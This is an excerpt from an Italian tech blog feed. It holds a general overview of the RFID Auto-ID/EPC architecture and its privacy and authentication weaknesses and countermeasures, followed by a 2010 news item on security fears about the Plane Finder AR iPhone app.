<p>Dal Buffer Overflow Attack: Si potrebbero utilizzare dei tools capaci  di gestire i buffer ed i loro limiti nello stack al fine di evitare l’  overflows dei dati (ad esempio: Valgrind; Electric Fence). In  alternativa si potrebbe usare un linguaggio di programmazione  interpretato dove tale controllo è implementato e protegge lo stack  automaticamente (ad esempio: Java).</p>
<p><strong>L’architettura Auto-ID</strong><br />
La più importante organizzazione non profit per la standardizzazione  della tecnologia RFID ha ratificato il suo primo standard e lo ha  sottoposto al vaglio dell’ISO.</p>
<p>La nuova specifica, denominata Application Level Events (ALE)  permette alle applicazioni RFID sviluppate da differenti produttori di  interoperare tra loro, eliminando così quegli ostacoli che oggi spesso  annullano parte dei vantaggi apportati dalla tecnologia RFID.</p>
<p>L’EPC (Eletronic Product Code) è un particolare RFID caratterizzato  dalla semplicità del suo contenuto: nient’altro che un codice attuo a  sostituire l’attuale codice a barre.</p>
<p>In realtà pero’ l’ EPC non è  una semplice estensione dell’ UPC (Universal Product Code).<br />
Ciò che rende l’EPC innovativo è l’approccio sistematico dell’ Auto-ID Center sviluppato al M.I.T.<br />
L’EPC può essere associato al concetto di “Internet delle Cose” (Internet of Things).<br />
L’EPC beneficerà notevolmente della capacità degli RFID di essere letti  senza necessità di contatto (contactless), dalla loro capacità di  contenere una grande mole di dati e dalle loro caratteristiche di  anti-contraffazione. Queste caratteristiche combinate con la possibilità  di reperire attraverso Internet le informazioni riguardanti il prodotto  (chi lo ha prodotto e quando è stato fatto, dove è transitato, qual è  la sua scadenza oppure la data in cui termina il periodo di garanzia,  etc.) creano una potentissima, ed al tempo stesso flessibile, catena di  fornitura.</p>
<p>Le 5 componenti fondamentali dell’ Auto-ID sono:</p>
<p>Elettronic Product Code (EPC)</p>
<p>ID System (Lettori a Radio Frequenza e Tags)</p>
<p>Object Name Service (ONS)</p>
<p>Physical Markup Language (PML)</p>
<p>Savant</p>
<p><strong>EPC</strong><br />
L’EPC è un codice diviso in numeri che identificano: produttore,  prodotto, versione, numero seriale ed un ulteriore set di caratteri per  identificare “univocamente” l’oggetto.</p>
<p><strong>ID System</strong><br />
L’ID System, ovvero il sistema di identificazione è basato sui tag RFID.</p>
<p><strong>Object Name Service (ONS)</strong><br />
L’ONS indirizza i sistemi informatici su come localizzare le  informazioni su Internet relative a ciascun oggetto dotato di EPC. Il  funzionamento è simile agli attuali DNS.<br />
L’ONS prende il codice EPC e restituisce un indirizzo web (o una URL)  dove risiedono tutte le informazioni relative a quell’oggetto. Tutto  questo permette di immagazzinare un’enorme quantità di dati sottoforma  di informazioni su Internet, più di quello che sarebbe possibile fare  sui singoli oggetto sulle etichette.<br />
Physical Markup Language (PML)</p>
<p>Il PML è un nuovo standard di “linguaggio” per descrivere fisicamente gli oggetti.<br />
Basato sull’XML (eXtensible Markup Language), insieme all’EPC ed all’ONS  il PML completa il set di componenti chiave necessari a linkare  automaticamente le informazioni ai prodotti fisici. Quindi l’EPC  identifica il prodotto, il PML descrive il prodotto, e l’ONS li linka  insieme.<br />
La standardizzazione di questi componenti permetterà una “universal connectivity” tra gli oggetti nel mondo fisico.</p>
<p><strong>Savant</strong><br />
Savant è un softtware per gestire le informazioni in modo che si eviti l’overload delle attuali reti.</p>
<p>Savant usa una architettura distribuita. I server Savant vengono  organizzati su basi gerarchiche ed agiscono come il sistema nervoso  della rete EPC (EPC Network), gestendo il flusso informativo.<br />
Sicurezza – Privacy</p>
<p>Fondamentalmente ci sono due aspetti pericolosi per la privacy: tracciamento e archiviazione senza autorizzazione.</p>
<p>Per risolvere questo problema sono stati proposte nuove modifiche per  gli standard rfid, conferendo alcuni diritti all’utente sui tag in suo  possesso:</p>
<p>disabilitazione (killing and sleeping)<br />
sovrascrizione delle informazioni (rewrite)</p>
<p>Sono state quindi studiare alcune tecniche per aiutare a proteggere  la privacy degli utenti, ma purtroppo si teme che alcune di queste  potrebbero diventare presto illegali in alcune circoscrizioni per  “motivi di sicurezza”.</p>
<p><strong>Bloker tag </strong><br />
E’ un dispositivo presente tra il tag ed il lettore che attua un’operazione di flood sul lettore.<br />
Permette il blocco dei tag acquistati: al momento dell’acquisto il tag passa da non bloccabile a bloccabile.</p>
<p>Il tag bloccato in futuro “consiglia gentilmente” al lettore di non  tentare di leggerlo. Questo verrebbe realizzato sfruttando un bit che se  settato a 0, indicherebbe al lettore che è un “private tag”. Un  malintenzionato però potrebbe recarsi in un supermercato e bloccare  tutti i prodotti non ancora venduti facendoli risultare cosi venduti.</p>
<p><strong>Crittografia</strong><br />
Questa tecnica permette la cifratura dell’id in modo che possa essere  interpretato unicamente da un solo lettore. A causa della ridotta  capacità della memoria degli rfid, le chiavi spesso vengono crackate in  poco tempo con attacchi di tipo brute-force.</p>
<p><strong>Pseudonym throttling</strong><br />
Il tag memorizza una piccola lista di codici random identificativi (o  pseudonimi) conosciuti dal lettore autorizzato. Ad ogni lettura, il tag  genera un nuovo codice.</p>
<p><strong>Proxying</strong><br />
Un “Watchdog Tag” è un tag rfid che controlla l’ambiente (ricerca  passiva), leggendo e memorizzando le specifiche dei lettori, come le  policy sulla privacy ad esempio.</p>
<p>“RFID Guardian” and “RFID Enhancer Proxy” (REP), sono delle soluzioni  proposte anche dal prof. Tanenbaum che prevedono una sorta di filtro  per i tag. Questi sistemi, usti dall’utente, rappresentano dei  “firewall” in grado di esaminare il lettore e decidere se lasciar  leggere o meno il tag. Ad esempio, questo genere di tecnologia può  impedire la lettura di alcuni tag ad una distanza di 30m dalla propria  abitazione (sfruttando la tecnologia GPS).</p>
<p><strong>Distanza di sicurezza</strong><br />
Un tag rfid potrebbe rilasciare delle informazioni sulla base della  vicinanza del lettore. Ad esempio, se il lettore è lontano, il tag  invierà dati molto generici, ma avvicinando ad una distanza “prefissata”  il lettore, il tag potrebbe rilasciare tutte le sue informazioni.</p>
<p><strong>Sicurezza – Authentication</strong><br />
Un problema grave non ancora risolto (esplicitamente neanche negli EPC  Class1 – Gen2) è rappresentato dalla possibilità di clonare i tag, o  comunque di poter creare periferiche wireless capaci di simulare tag  rfid.</p>
<p>Alcune soluzioni proposte sono il Kill PIN e il Yoking.</p>
<p><strong>Kill PIN</strong><br />
Una soluzione proposta, ed attualmente in fase di valutazione è l’uso  del “kill PIN”.In teoria ogni tag ha un codice PIN che permette di  accedere alle informazioni solo ai lettori che conoscono tale codice. In  caso di ripetuti tentativi, il tag si potrebbe disattivare. Questo  metodo però potrebbe quindi essere usato da eventuali attacker per  disabilitare numerosi tag, in un sepermercato ad esempio.</p>
<p><strong>Yoking</strong><br />
Una seconda proposta è stata denominata “yoking”.</p>
<p>L’autenticazione viene cioè effettuata solo se due tag si trovano  relativamente vicini. Ad esempio per vendere un medicinale e dimostrare  che al momento della vendita erano presenti anche le istruzioni d’uso.</p>
<p>Un’ estensione di questo metodo permette di affiancare ad un tag rfid  un POWF, cioè un piccolo oggetto di plastica contente delle  informazioni univoche (mediante piccolissimi pezzi di vetro ad esempio)  che sono estremamente difficili da riprodurre. Associare ad ogni rfid un  POWF permette una maggiore, ma anche più costosa autenticazione. I   POWF sono però ancora oggi oggetto di grande interesse per la ricerca e  non vengono dunque implementati per usi commerciali su larga scala.<br />
Tag a Chiave Simmetrica</p>
<p>Questa tipo di tag ha nel suo interno microchip capaci di riprodurre funzioni di crittografia simmetrica.</p>
<p>Questi tag sono dotati di una funzione che genera un codice hash  (funzione h) di un testo in chiaro (M) ed hanno una chiave segreta (k).  Attraverso la funzione per criptare (funzione e), si ottiene il testo  criptato.</p>
<p>Usando la funzione C = ek (M) il testo in chiaro diventa  crittografato e solo chi è a conoscenza della chiave segreta k potrà  risalire al testo in chiaro M, sfruttando il testo criptato C.</p>
<p>Il sistema di gestione dei lettori è centralizzato, il middleware ha  cioè i corrispettivi codici segreti di ogni suo tag ed ogni tag ha un  codice segreto casuale precedentemente memorizzato nel sistema.</p>
<p>Avremo quindi Ti, dove i rappresenta il numero del tag e Ki che rappresenta il codice segreto del tag i.</p>
<p><strong>Autenticazione e Clonazione</strong><br />
In questa tipologia di tag, il problema della clonazione viene apparentemente risolto.</p>
<p>L’autenticazione infatti tra il tag ed il lettore avviene sfruttando una chiave segreta passata tramite un codice hash.</p>
<p>Ad ogni autenticazione infatti:</p>
<p>1. Il tag invia al lettore il suo identificativo (Ti)</p>
<p>2. Il lettore invia al tag una stringa random R</p>
<p>3. Il tag generera un codice hash usando la funzione H = h(Ki, R) e lo invierà al lettore</p>
<p>4. Il lettore verificherà H = (Ki, R) verificherando in questo  modo se la chiave segreta Ki archiviata combacia con quella appena usata  dal tag per la codifica</p>
<p>In teoria l’unico modo per rompere questo sistema di sicurezza  sarebbe quello di effettuare attacchi fisici al tag estraendo  direttamente dal microchip il codice segreto.</p>
<p><strong>DST</strong><br />
Un’implementazione pratica dei tag a chiave simmetrica oggi è rappresentata dal Digital Signature Trasponder (DST).</p>
<p>A causa della piccola capacità di memorizzazione dei tag, il sistema  DST, che dedica soli 40bits alla chiave segreta, si è dimostrato debole  nei confronti degli attacchi brute-force.<br />
Metodi di intercettazione delle chiavi segrete</p>
<p>Reverse-engineering e side channels:</p>
<p>Questo tipo di intercettazione si basa sulla misurazione  del consumo energetico-magnetico dovuto ai calcoli per le funzioni di  crittazione. Le due forme predominanti di analisi del side channel sono  gli attacchi di sincronizzazione, che estraggono le informazioni basate  sulle variazioni nel tasso del calcolo di un dispositivo ed attacchi  sull’ analisi dell’ alimentazione, che sfruttano le variazioni  misurabili nell’assorbimento di corrente elettrica.</p>
<p><strong>Relay attacks: </strong><br />
Questo attacco, conosciuto anche come man-in-the-middle, nella  tecnologia rfid riesce a rappresentare una vera minaccia. Infatti, con  questa tecnica è possibile, oltre ad “ascoltare” la comunicazione, anche  aggirare le limitazioni della “distanza di sicurezza”. Interponendo dei  ripetitori radio infatti si possono far connettere tag e lettori  distanti anche diversi chilometri. Alcune contromisure sono  rappresentate dall’uso di PIN, pulsanti fisici attivabili manualmente e  supporto GPS per l’identificazione fisica.</p>
<p><strong>Privacy</strong></p>
<p>L’uso di chiavi segrete univoche rappresenta un problema per la  privacy. Essendo estremamente semplice risalire alla propria chiave  segreta, se questa fosse associata staticamente ad un codice  identificativo, sarebbe semplice tracciare ed identificare quel tag in  ogni momento. Per anonimizzare il tag, sarebbe necessario che la chiave  segreta venisse aggiornata dopo un periodo t random con una chiave k  random cosicchè la tracciabilità e l’identificazione diverrebbero  “impossibili”.</p>
<p><strong>Riferimenti</strong><br />
[English Wikipedia RFID]<br />
(http://en.wikipedia.org/wiki/RFID)</p>
<p>[Italian Wikipedia RFID]<br />
(http://it.wikipedia.org/wiki/RFID)</p>
<p>[RFID Viruses and Worms]<br />
di Melanie R. Rieback, Patrick N. D. Simpson, Bruno Crispo, Andrew S.  Tanenbaum – Vrije Universiteit Amsterdam: Department of Computer Science  (http://www.rfidvirus.org)</p>
<p>[RFID Security and Privacy: A Research Survey]<br />
di Ari Juels del RSA Laboratories (ajuels@rsasecurity.com)</p>
</div>
<p style="text-align: justify;">Autore: Aniello Coppeto aka NeCoSi.</p>
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		<title>L’app per iPhone che minaccia la sicurezza degli aerei</title>
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		<pubDate>Fri, 08 Oct 2010 02:53:15 +0000</pubDate>
		<dc:creator>William J.</dc:creator>
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		<category><![CDATA[iPhone]]></category>
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		<category><![CDATA[Terrorismo]]></category>

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			<content:encoded><![CDATA[<div><img class="alignleft" src="http://www.leganerd.com/wp-content/uploads/LEGANERD_031730.jpg" alt="" width="147" height="213" /></div>
<p>Plane Finder AR è un’applicazione per iPhone che consente, puntando lo smartphone di Apple al cielo, di scoprire partenza, destinazione, compagnia aerea, numero di volo e anche la rotta più probabile degli aerei che stanno passando in quel momento.Il software, in vendita a 2,39 euro sull’App Store, sfrutta il sistema ADS-B usato dalla maggior parte degli aerei passeggeri per inviare informazioni al sistema satellitare che affianca – e in certi Paesi sostitusce – i radar.</p>
<p>Ora alcuni esperti di sicurezza britannici temono che Plane <img class="alignright" title="ln" src="../wp-content/uploads/2010/10/lega.jpg" alt="" width="89" height="85" />Finder possa essere usato dai terroristi per attaccare gli aerei in volo, resi dal software un bersaglio facile per un missile terra-aria o per un aereo dirottato che pilotato in rotta di collisione.</p>
<p>Sin da quando è stata resa disponibile il mese scorso, l’applicazione è stata scaricata più di 2.000 volte. Qualcuno ha già proposto di metterla fuori legge.</p>
<p><a href="http://www.pierotofy.it/pages/home/news/5717-lapp_per_iphone_che_minaccia_la_sicurezza_degli_aerei/" target="_blank">Fonte</a>.</p>
<p>Articolo inserito su <a href="http://leganerd.com/" target="_blank">Lega Nerd</a>.</p>
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